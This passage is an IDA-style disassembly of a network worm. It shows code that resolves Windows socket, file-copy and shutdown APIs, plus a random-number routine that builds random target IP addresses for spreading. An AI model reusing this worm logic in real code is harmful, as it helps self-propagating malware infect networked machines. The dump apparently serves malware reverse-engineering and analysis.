65 74 54 69+aGettickcount db 'GetTickCount',0 seg000:00000507 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000507 seg000:00000507 loc_0_507: ; setup_functab+41p seg000:00000507 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:0000050A FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:0000050D 89 45 EC mov [ebp+GetTickCount], eax seg000:00000510 E8 06 00 00 00 call loc_0_51B ; Call Procedure seg000:00000510 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000515 53 6C 65 65 70+aSleep db 'Sleep',0 seg000:0000051B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000051B seg000:0000051B loc_0_51B: ; setup_functab+5Cp seg000:0000051B FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:0000051E FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000521 89 45 E8 mov [ebp+Sleep], eax seg000:00000524 E8 17 00 00 00 call loc_0_540 ; Call Procedure seg000:00000524 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000529 47 65 74 53 79+aGetsystemdefaultl db 'GetSystemDefaultLangID',0 seg000:00000540 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000540 seg000:00000540 loc_0_540: ; setup_functab+70p seg000:00000540 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:00000543 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000546 89 45 E4 mov [ebp+GetSystemDefaultLangID], eax seg000:00000549 E8 14 00 00 00 call loc_0_562 ; Call Procedure seg000:00000549 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000054E 47 65 74 53 79+aGetsystemdirector db 'GetSystemDirectoryA',0 seg000:00000562 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000562 seg000:00000562 loc_0_562: ; setup_functab+95p seg000:00000562 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:00000565 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000568 89 45 E0 mov [ebp+GetSystemDirectoryA], eax seg000:0000056B E8 0A 00 00 00 call loc_0_57A ; Call Procedure seg000:0000056B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000570 43 6F 70 79 46+aCopyfilea db 'CopyFileA',0 seg000:0000057A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000057A seg000:0000057A loc_0_57A: ; setup_functab+B7p seg000:0000057A FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:0000057D FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000580 89 45 DC mov [ebp+CopyFileA], eax seg000:00000583 E8 10 00 00 00 call loc_0_598 ; Call Procedure seg000:00000583 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000588 47 6C 6F 62 61+aGlobalfindatoma db 'GlobalFindAtomA',0 seg000:00000598 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000598 seg000:00000598 loc_0_598: ; setup_functab+CFp seg000:00000598 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:0000059B FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:0000059E 89 45 D8 mov [ebp+GlobalFindAtomA], eax seg000:000005A1 E8 0F 00 00 00 call loc_0_5B5 ; Call Procedure seg000:000005A1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005A6 47 6C 6F 62 61+aGlobaladdatoma db 'GlobalAddAtomA',0 seg000:000005B5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005B5 seg000:000005B5 loc_0_5B5: ; setup_functab+EDp seg000:000005B5 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:000005B8 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000005BB 89 45 D4 mov [ebp+GlobalAddAtomA], eax seg000:000005BE E8 0C 00 00 00 call loc_0_5CF ; Call Procedure seg000:000005BE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005C3 43 6C 6F 73 65+aClosehandle db 'CloseHandle',0 seg000:000005CF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005CF seg000:000005CF loc_0_5CF: ; setup_functab+10Ap seg000:000005CF FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:000005D2 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000005D5 89 45 D0 mov [ebp+CloseHandle], eax seg000:000005D8 E8 08 00 00 00 call loc_0_5E5 ; Call Procedure seg000:000005D8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005DD 5F 6C 63 72 65+a_lcreat db '_lcreat',0 seg000:000005E5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005E5 seg000:000005E5 loc_0_5E5: ; setup_functab+124p seg000:000005E5 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:000005E8 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000005EB 89 45 CC mov [ebp+_lcreat], eax seg000:000005EE E8 08 00 00 00 call loc_0_5FB ; Call Procedure seg000:000005EE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005F3 5F 6C 77 72 69+a_lwrite db '_lwrite',0 seg000:000005FB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000005FB seg000:000005FB loc_0_5FB: ; setup_functab+13Ap seg000:000005FB FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:000005FE FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000601 89 45 C8 mov [ebp+_lwrite], eax seg000:00000604 E8 08 00 00 00 call loc_0_611 ; Call Procedure seg000:00000604 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000609 5F 6C 63 6C 6F+a_lclose db '_lclose',0 seg000:00000611 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000611 seg000:00000611 loc_0_611: ; setup_functab+150p seg000:00000611 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:00000614 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000617 89 45 C4 mov [ebp+_lclose], eax seg000:0000061A E8 0E 00 00 00 call loc_0_62D ; Call Procedure seg000:0000061A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000061F 47 65 74 53 79+aGetsystemtime db 'GetSystemTime',0 seg000:0000062D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000062D seg000:0000062D loc_0_62D: ; setup_functab+166p seg000:0000062D FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:00000630 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000633 89 45 C0 mov [ebp+GetSystemTime], eax seg000:00000636 E8 0B 00 00 00 call loc_0_646 ; Call Procedure seg000:00000636 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000063B 57 53 32 5F 33+aWs2_32_dll db 'WS2_32.DLL',0 seg000:00000646 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000646 seg000:00000646 loc_0_646: ; setup_functab+182p seg000:00000646 FF 55 F4 call dword ptr [ebp+LoadLibraryA] ; Indirect Call Near Procedure seg000:00000649 89 45 BC mov [ebp+ws2_32_addr], eax seg000:0000064C E8 07 00 00 00 call loc_0_658 ; Call Procedure seg000:0000064C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000651 73 6F 63 6B 65+aSocket db 'socket',0 seg000:00000658 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000658 seg000:00000658 loc_0_658: ; setup_functab+198p seg000:00000658 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:0000065B FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:0000065E 89 45 B8 mov [ebp+socket], eax seg000:00000661 E8 0C 00 00 00 call loc_0_672 ; Call Procedure seg000:00000661 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000666 63 6C 6F 73 65+aClosesocket db 'closesocket',0 seg000:00000672 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000672 seg000:00000672 loc_0_672: ; setup_functab+1ADp seg000:00000672 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:00000675 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000678 89 45 B4 mov [ebp+closesocket], eax seg000:0000067B E8 0C 00 00 00 call loc_0_68C ; Call Procedure seg000:0000067B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000680 69 6F 63 74 6C+aIoctlsocket db 'ioctlsocket',0 seg000:0000068C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000068C seg000:0000068C loc_0_68C: ; setup_functab+1C7p seg000:0000068C FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:0000068F FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000692 89 45 A4 mov [ebp+ioctlsocket], eax seg000:00000695 E8 08 00 00 00 call loc_0_6A2 ; Call Procedure seg000:00000695 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000069A 63 6F 6E 6E 65+aConnect db 'connect',0 seg000:000006A2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006A2 seg000:000006A2 loc_0_6A2: ; setup_functab+1E1p seg000:000006A2 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:000006A5 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000006A8 89 45 B0 mov [ebp+connect], eax seg000:000006AB E8 07 00 00 00 call loc_0_6B7 ; Call Procedure seg000:000006AB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006B0 73 65 6C 65 63+aSelect db 'select',0 seg000:000006B7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006B7 seg000:000006B7 loc_0_6B7: ; setup_functab+1F7p seg000:000006B7 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:000006BA FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000006BD 89 45 A0 mov [ebp+select], eax seg000:000006C0 E8 05 00 00 00 call loc_0_6CA ; Call Procedure seg000:000006C0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006C5 73 65 6E 64 00 aSend db 'send',0 seg000:000006CA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006CA seg000:000006CA loc_0_6CA: ; setup_functab+20Cp seg000:000006CA FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:000006CD FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000006D0 89 45 AC mov [ebp+send], eax seg000:000006D3 E8 05 00 00 00 call loc_0_6DD ; Call Procedure seg000:000006D3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006D8 72 65 63 76 00 aRecv db 'recv',0 seg000:000006DD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006DD seg000:000006DD loc_0_6DD: ; setup_functab+21Fp seg000:000006DD FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:000006E0 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000006E3 89 45 A8 mov [ebp+recv], eax seg000:000006E6 E8 0C 00 00 00 call loc_0_6F7 ; Call Procedure seg000:000006E6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006EB 67 65 74 68 6F+aGethostname db 'gethostname',0 seg000:000006F7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000006F7 seg000:000006F7 loc_0_6F7: ; setup_functab+232p seg000:000006F7 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:000006FA FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000006FD 89 45 9C mov [ebp+gethostname], eax seg000:00000700 E8 0E 00 00 00 call loc_0_713 ; Call Procedure seg000:00000700 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000705 67 65 74 68 6F+aGethostbyname db 'gethostbyname',0 seg000:00000713 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000713 seg000:00000713 loc_0_713: ; setup_functab+24Cp seg000:00000713 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:00000716 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000719 89 45 98 mov [ebp+gethostbyname], eax seg000:0000071C E8 10 00 00 00 call loc_0_731 ; Call Procedure seg000:0000071C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000721 57 53 41 47 65+aWsagetlasterror db 'WSAGetLastError',0 seg000:00000731 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000731 seg000:00000731 loc_0_731: ; setup_functab+268p seg000:00000731 FF 75 BC push dword ptr [ebp+ws2_32_addr] seg000:00000734 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000737 89 45 94 mov [ebp+WSAGetLastError], eax seg000:0000073A E8 0B 00 00 00 call loc_0_74A ; Call Procedure seg000:0000073A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000073F 55 53 45 52 33+aUser32_dll db 'USER32.DLL',0 seg000:0000074A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000074A seg000:0000074A loc_0_74A: ; setup_functab+286p seg000:0000074A FF 55 F4 call dword ptr [ebp+LoadLibraryA] ; Indirect Call Near Procedure seg000:0000074D 89 45 90 mov [ebp+user32_addr], eax seg000:00000750 E8 0E 00 00 00 call loc_0_763 ; Call Procedure seg000:00000750 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000755 45 78 69 74 57+aExitwindowsex db 'ExitWindowsEx',0 seg000:00000763 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000763 seg000:00000763 loc_0_763: ; setup_functab+29Cp seg000:00000763 FF 75 90 push dword ptr [ebp+user32_addr] seg000:00000766 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:00000769 89 45 8C mov [ebp+ExitWindowsEx], eax seg000:0000076C C3 retn ; Return Near from Procedure seg000:0000076C setup_functab endp seg000:0000076C seg000:0000076D seg000:0000076D ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:0000076D seg000:0000076D seg000:0000076D rand proc near ; worm_main+D2p seg000:0000076D 8B 45 84 ; get_rand_bytep ... seg000:0000076D mov eax, [ebp+random] seg000:00000770 69 C0 05 84 08+ imul eax, 8088405h ; Signed Multiply seg000:00000776 40 inc eax ; Increment by 1 seg000:00000777 89 45 84 mov [ebp+random], eax seg000:0000077A 8D 84 04 78 56+ lea eax, [esp+eax+12345678h] ; Load Effective Address seg000:00000781 F7 D8 neg eax ; Two's Complement Negation seg000:00000783 C1 C0 08 rol eax, 8 ; Rotate Left seg000:00000786 C3 retn ; Return Near from Procedure seg000:00000786 rand endp seg000:00000786 seg000:00000787 seg000:00000787 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:00000787 seg000:00000787 seg000:00000787 get_rand_byte proc near ; get_rand_byte+7j seg000:00000787 E8 E1 FF FF FF ; get_rand_byte+Bj ... seg000:00000787 call rand ; Call Procedure seg000:0000078C 3C 00 cmp al, 0 ; Compare Two Operands seg000:0000078E 74 F7 jz short get_rand_byte ; Jump if Zero (ZF=1) seg000:00000790 3C FF cmp al, 0FFh ; Compare Two Operands seg000:00000792 74 F3 jz short get_rand_byte ; Jump if Zero (ZF=1) seg000:00000794 C3 retn ; Return Near from Procedure seg000:00000794 get_rand_byte endp seg000:00000794 seg000:00000795 seg000:00000795 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:00000795 seg000:00000795 seg000:00000795 create_ip proc near ; worm_main+168p seg000:00000795 E8 ED FF FF FF ; create_ip+5Fj ... seg000:00000795 call get_rand_byte ; craft ip addr byte per byte seg000:0000079A 8A F8 mov bh, al seg000:0000079C E8 E6 FF FF FF call get_rand_byte ; Call Procedure seg000:000007A1 8A D8 mov bl, al seg000:000007A3 C1 E3 10 shl ebx, 10h ; Shift Logical Left seg000:000007A6 E8 DC FF FF FF call get_rand_byte ; Call Procedure seg000:000007AB 8A F8 mov bh, al seg000:000007AD E8 D5 FF FF FF call get_rand_byte ; Call Procedure seg000:000007B2 8A D8 mov bl, al seg000:000007B4 E8 B4 FF FF FF call rand ; get random number seg000:000007B9 83 E0 07 and eax, 7 ; get entry into mask_tab seg000:000007BC E8 20 00 00 00 call loc_0_7E1 ; Call Procedure seg000:000007BC ; 